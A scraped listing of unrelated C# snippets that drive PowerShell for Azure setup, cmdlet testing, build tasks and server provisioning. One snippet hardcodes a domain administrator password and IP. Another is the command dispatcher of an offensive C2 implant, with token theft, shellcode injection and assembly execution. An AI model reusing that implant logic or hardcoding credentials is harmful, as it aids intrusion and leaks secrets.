public override void Execute()
        {
            EnsurePassword();

            Console.WriteLine($"### Checking if the service principal \"{ServicePrincipalName.Value}\" already exists, and creating it if required");

            var message = Powershell.RunScriptOf(this,
                                                 KeyValuePair.Create("$TenantId", TenantId.Value.ToString()),
                                                 KeyValuePair.Create("$ServicePrincipalName", ServicePrincipalName.Value),
                                                 KeyValuePair.Create("$CertPassword", ServicePrincipalCertificatePassword.Value),
                                                 KeyValuePair.Create("$SubscriptionId", SubscriptionId.Value.ToString()));


            var success = ((message["Success"] as JValue)?.Value as bool?).GetValueOrDefault(false);
            var created = success && ((message["Created"] as JValue)?.Value as bool?).GetValueOrDefault(false);
            var path    = success && created ? message["CertificateLocation"].ToString() : null;

            if (!success)
            {
                using (new TemporaryConsoleColor(ConsoleColor.Red))
                {
                    Console.WriteLine("#### Getting or creating the service principal failed: " + message["Log"]);
                    return;
                }
            }

            using (new TemporaryConsoleColor(ConsoleColor.Green))
            {
                Console.WriteLine("#### " + message["Log"]);
            }

            if (!created)
            {
                return;
            }

            Console.Write("#### Do you want to install the certificate into your personal certificate store on this machine? [y/N] ");
            if (Console.ReadLine()?.ToLowerInvariant() == "y")
            {
                try
                {
                    var cert  = new X509Certificate2(path, ServicePrincipalCertificatePassword.Value, X509KeyStorageFlags.PersistKeySet);
                    var store = new X509Store(StoreName.My);
                    store.Open(OpenFlags.ReadWrite);
                    store.Add(cert);
                    using (new TemporaryConsoleColor(ConsoleColor.Green))
                    {
                        Console.WriteLine("#### Certificate installed successfully");
                    }
                }
                catch (Exception e)
                {
                    using (new TemporaryConsoleColor(ConsoleColor.Red))
                    {
                        Console.WriteLine("#### Certificate could not be installed: " + e.Message);
                    }
                }
            }
        }
Beispiel #2
0
        public override void Dispose()
        {
            var stopCommand = new Command("Stop-GrainClient");

            Powershell.Commands.Clear();
            Powershell.Commands.AddCommand(stopCommand);
            Powershell.Invoke();
            Powershell.Dispose();
            Runspace.Dispose();
            base.Dispose();
        }
        public override void Execute()
        {
            EnsurePassword();

            var message = Powershell.RunScriptOf(this,
                                                 KeyValuePair.Create("$TenantId", TenantId.Value.ToString()),
                                                 KeyValuePair.Create("$ServicePrincipalName", ServicePrincipalName.Value),
                                                 KeyValuePair.Create("$CertPassword", ServicePrincipalCertificatePassword.Value),
                                                 KeyValuePair.Create("$SubscriptionId", SubscriptionId.Value.ToString()));

            Console.WriteLine(message);
        }
Beispiel #4
0
        protected void btnDLL_Click(object sender, EventArgs e)
        {
            Powershell oPowershell = new Powershell();
            Log        oLog        = new Log(0, dsn);
            List <PowershellParameter> powershell = new List <PowershellParameter>();

            powershell.Add(new PowershellParameter("path", "C:"));
            List <PowershellParameter> results = oPowershell.Execute(Request.PhysicalApplicationPath + "scripts\\test.ps1", powershell, oLog, "DEV");

            foreach (PowershellParameter result in results)
            {
                Response.Write(result.Name + " = " + result.Value + "<br/>");
            }
        }
Beispiel #5
0
        public PowershellHostFixture()
        {
            var initialSessionState = InitialSessionState.CreateDefault();

            initialSessionState.Commands.Add(new SessionStateCmdletEntry("Start-GrainClient", typeof(StartGrainClient), null));
            initialSessionState.Commands.Add(new SessionStateCmdletEntry("Stop-GrainClient", typeof(StopGrainClient), null));
            initialSessionState.Commands.Add(new SessionStateCmdletEntry("Get-Grain", typeof(GetGrain), null));
            Runspace = RunspaceFactory.CreateRunspace(initialSessionState);
            Runspace.Open();
            Powershell          = PowerShell.Create();
            Powershell.Runspace = Runspace;

            var stopGrainClient = new Command("Stop-GrainClient");

            Powershell.Commands.AddCommand(stopGrainClient);
            Powershell.Invoke();
        }
Beispiel #6
0
        public static void Main(string[] args)
        {
            Dictionary <string, string> par = new Dictionary <string, string>();

            par.Add("UserPrincipalName", "*****@*****.**");

            //ad.GetDomain();
            var ps = new Powershell();

            ps.CreateRemoteSession("TESTAD0\\Administrator", "Games4Free", "10.80.1.85");
            var ad = new AD(ps);
            //   ad.CreateOrgranization("N***a" , new Dictionary<string, string>());
            var ret = ps.Execute("Get-ADDomain");

            /* ps.CloseRemoteSession();
             * var ret1 = ps.Execute("Get-ADDomain");*/
            Console.ReadLine();
        }
Beispiel #7
0
        public override bool Execute()
        {
            ExitCode = -2;

            if (Batch.Is())
            {
                // create a batch file and execute it.
                var batchfile = Path.Combine(Environment.CurrentDirectory, "__msbuild__{0}__.cmd".format(DateTime.Now.Ticks));

                try {
                    File.WriteAllText(batchfile, "@echo off \r\n" + Batch + @"
REM ===================================================================
REM STANDARD ERROR HANDLING BLOCK
REM ===================================================================
REM Everything went ok!
:success
exit /b 0
        
REM ===================================================================
REM Something not ok :(
:failed
echo ERROR: Failure in script. aborting.
exit /b 1
REM ===================================================================
");
                    var cmd = Environment.ExpandEnvironmentVariables(@"%SystemRoot%\system32\cmd.exe");

                    var args = @"/c ""{0}""".format(batchfile);

                    var proc = AsyncProcess.Start(
                        new ProcessStartInfo(cmd, args)
                    {
                        WindowStyle = ProcessWindowStyle.Normal,
                    });

                    if (Echo)
                    {
                        proc.StandardOutput.ForEach(each => LogMessage(each));
                        proc.StandardError.ForEach(each => LogError(each));
                    }

                    StdErr   = proc.StandardError.Where(each => each.Is()).Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    StdOut   = proc.StandardOutput.Where(each => each.Is()).Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    ExitCode = proc.ExitCode;

                    return(true);
                } catch (Exception e) {
                    Console.WriteLine("{0},{1},{2}", e.GetType().Name, e.Message, e.StackTrace);
                    ExitCode = -3;
                    return(false);
                } finally {
                    batchfile.TryHardToDelete();
                }
            }

            if (Powershell.Is())
            {
                using (var ps = Runspace.DefaultRunspace.Dynamic()) {
                    DynamicPowershellResult results = ps.InvokeExpression(Powershell);

                    if (Echo)
                    {
                        results.ForEach(each => LogMessage(each.ToString()));
                        results.Errors.ForEach(each => LogError(each.ToString()));
                    }

                    StdErr   = results.Errors.Select(each => each.ToString()).Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    StdOut   = results.Select(each => each.ToString()).Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    ExitCode = results.Errors.Any() ? -1 : 0;
                    return(true);
                }
            }

            if (CSharp.Is())
            {
                try {
                    var     o   = new List <string>();
                    var     e   = new List <string>();
                    dynamic obj = CSScript.Evaluator.LoadMethod(@"int eval( System.Collections.Generic.List<string> StdErr, System.Collections.Generic.List<string> StdOut ) {" + CSharp + @" return 0; }");
                    ExitCode = obj.eval(o, e);

                    if (Echo)
                    {
                        o.ForEach(each => LogMessage(each.ToString()));
                        e.ForEach(each => LogError(each.ToString()));
                    }

                    StdErr = e.Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    StdOut = o.Select(each => (ITaskItem) new TaskItem(each)).ToArray();
                    return(true);
                } catch (Exception e) {
                    ExitCode = -1;
                    StdErr   = ((ITaskItem) new TaskItem("{0}/{1}/{2}".format(e.GetType().Name, e.Message, e.StackTrace))).SingleItemAsEnumerable().ToArray();
                    return(true);
                }
            }

            return(false);
        }
 /// <summary>
 /// Disposing all members which created on prepearing.
 /// </summary>
 public void Stop()
 {
     Space.Dispose();
     Powershell.Dispose();
 }
Beispiel #9
0
        /// <summary>
        /// Handle a new task.
        /// </summary>
        /// <param name="implant">The CaramelImplant we're handling a task for</param>
        public void DispatchTask(SCImplant implant)
        {
            if (this.command == "cd")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params);
                ChangeDir.Execute(this);
            }
            else if (this.command == "download")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params);
                Download.Execute(this, implant);
            }
            else if (this.command == "execute_assembly")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params);
                Tasks.ExecAssembly.Execute(this, implant);
            }
            else if (this.command == "exit")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to exit");
                Exit.Execute(this, implant);
            }
            else if (this.command == "jobs")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list jobs");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "jobkill")
            {
                Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "kill")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params);
                Kill.Execute(this);
            }
            else if (this.command == "ls")
            {
                string path = this.@params;
                Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path);
                DirectoryList.Execute(this, implant);
            }
            else if (this.command == "make_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + [email protected](' ')[0]);
                Token.Execute(this);
            }
            else if (this.command == "ps")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list processes");
                ProcessList.Execute(this);
            }
            else if (this.command == "powershell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run powershell");
                Powershell.Execute(this);
            }
            else if (this.command == "rev2self")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to revert token");
                Token.Revert(this);
            }
            else if (this.command == "run")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to start process");
                Proc.Execute(this, implant);
            }
            else if (this.command == "screencapture")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot.");
                ScreenCapture.Execute(this, implant);
            }
            else if (this.command == "shell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shell command.");
                Proc.Execute(this, implant);
            }
            else if (this.command == "shinject")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode.");
                Shellcode.Execute(this);
            }
            else if (this.command == "sleep")
            {
                try
                {
                    int sleep = Convert.ToInt32(this.@params);
                    Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep);
                    implant.sleep = sleep * 1000;
                    this.status   = "complete";
                }
                catch
                {
                    Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int");
                    this.status  = "error";
                    this.message = "Please provide an integer value";
                }
            }
            else if (this.command == "spawn")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to spawn");
                Spawn.Execute(this);
            }
            else if (this.command == "steal_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to steal token");
                Token.Execute(this);
            }
            else if (this.command == "upload")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to get file from server");
                Upload.Execute(this, implant);
            }

            this.SendResult(implant);
        }
Beispiel #10
0
        public void NonShared()
        {
            //// Initiate Timer
            //int intTimeout = 10;    // minutes for all registrations
            //if (Debug)
            //    oEventLog.WriteEntry(String.Format("Starting Avamar Registration Thread."), EventLogEntryType.Information);
            //Timeout timeout = new Timeout(TimeoutType.Minutes, intTimeout, oEventLog, Debug);
            //ThreadStart tTimeoutStart = new ThreadStart(timeout.Begin);
            //Thread tTimeout = new Thread(tTimeoutStart);
            //tTimeout.Start();

            try
            {
                this.Starter.NonSharedStorage = true;

                // Setup Classes
                Servers          oServer          = new Servers(0, dsn);
                OperatingSystems oOperatingSystem = new OperatingSystems(0, dsn);
                Log oLog = new Log(0, dsn);

                DataSet dsNew = oServer.GetStorageConfigured();
                if (dsNew.Tables[0].Rows.Count > 0)
                {
                    foreach (DataRow drNew in dsNew.Tables[0].Rows)
                    {
                        int    intServer = Int32.Parse(drNew["id"].ToString());
                        int    intOS     = Int32.Parse(drNew["osid"].ToString());
                        int    intAnswer = Int32.Parse(drNew["answerid"].ToString());
                        int    intNumber = Int32.Parse(drNew["number"].ToString());
                        string Name      = drNew["servername"].ToString();
                        string IP        = drNew["ipaddress"].ToString();

                        if (oOperatingSystem.IsWindows(intOS) || oOperatingSystem.IsWindows2008(intOS))
                        {
                            // First, check to make sure it's available (pinging) in DNS
                            //bool InDNS = false;
                            //Ping Ping = new Ping();
                            //string PingStatus = "";
                            //try
                            //{
                            //    PingReply Reply = Ping.Send(Name);
                            //    PingStatus = Reply.Status.ToString().ToUpper();
                            //    if (PingStatus == "SUCCESS")
                            //    {
                            //        InDNS = true;
                            //        break;
                            //    }
                            //}
                            //catch { }

                            //if (InDNS)
                            //{
                            // Serverprocessing.ps1 -AnswerID 26622 -ServerNumber 1 –Environment "Albert_Dev" –IPAddressToConnect  "10.24.240.205" – ConfigureNonSharedStorage -Log
                            string command = "Serverprocessing.ps1 -AnswerID " + intAnswer.ToString() + " -ServerNumber " + intNumber.ToString() + " –Environment \"" + this.Starter.ScriptEnvironment + "\" –IPAddressToConnect  \"" + IP + "\" – ConfigureNonSharedStorage -Log";
                            oLog.AddEvent(intAnswer, Name, "Non-shared storage", "Starting automated script (" + command + ")...", LoggingType.Debug);

                            string error = "";
                            try
                            {
                                List <PowershellParameter> powershell = new List <PowershellParameter>();
                                Powershell oPowershell = new Powershell();
                                powershell.Add(new PowershellParameter("AnswerID", intAnswer.ToString()));
                                powershell.Add(new PowershellParameter("ServerNumber", intNumber.ToString()));
                                powershell.Add(new PowershellParameter("Environment", this.Starter.ScriptEnvironment));
                                powershell.Add(new PowershellParameter("IPAddressToConnect", IP));
                                powershell.Add(new PowershellParameter("ConfigureNonSharedStorage", null));
                                powershell.Add(new PowershellParameter("Log", null));
                                List <PowershellParameter> results = oPowershell.Execute(this.Starter.strScripts + "\\Serverprocessing.ps1", powershell, oLog, Name);
                                oLog.AddEvent(intAnswer, Name, "Non-shared storage", "Powershell script completed!", LoggingType.Debug);
                                bool PowerShellError = false;
                                foreach (PowershellParameter result in results)
                                {
                                    oLog.AddEvent(intAnswer, Name, "Non-shared storage", "PSOBJECT: " + result.Name + " = " + result.Value, LoggingType.Information);
                                    if (result.Name == "ResultCode" && result.Value.ToString() != "0")
                                    {
                                        PowerShellError = true;
                                    }
                                    else if (result.Name == "Message" && PowerShellError)
                                    {
                                        error = result.Value.ToString();
                                    }
                                }
                            }
                            catch (Exception exPowershell)
                            {
                                error = exPowershell.Message;
                            }

                            if (String.IsNullOrEmpty(error))
                            {
                                oServer.UpdateStorageConfigured(intServer, DateTime.Now.ToString());
                            }
                            else
                            {
                                oLog.AddEvent(intAnswer, Name, "", error, LoggingType.Error);
                                oServer.AddError(0, 0, 0, intServer, 99991, error);
                            }
                            //}
                            //else
                            //    oLog.AddEvent(intAnswer, Name, "Non-shared storage", "DNS is not registered yet...", LoggingType.Debug);
                        }
                        else
                        {
                            oServer.UpdateStorageConfigured(intServer, DateTime.Now.ToString());
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                string error = ex.Message + " ~ (Source: " + ex.Source + ") (Stack Trace: " + ex.StackTrace + ")";
                oEventLog.WriteEntry(error, EventLogEntryType.Error);
            }
            finally
            {
                this.Starter.NonSharedStorage = false;
                //timeout.StopIt = true;  // Kill timeout thread.
            }
        }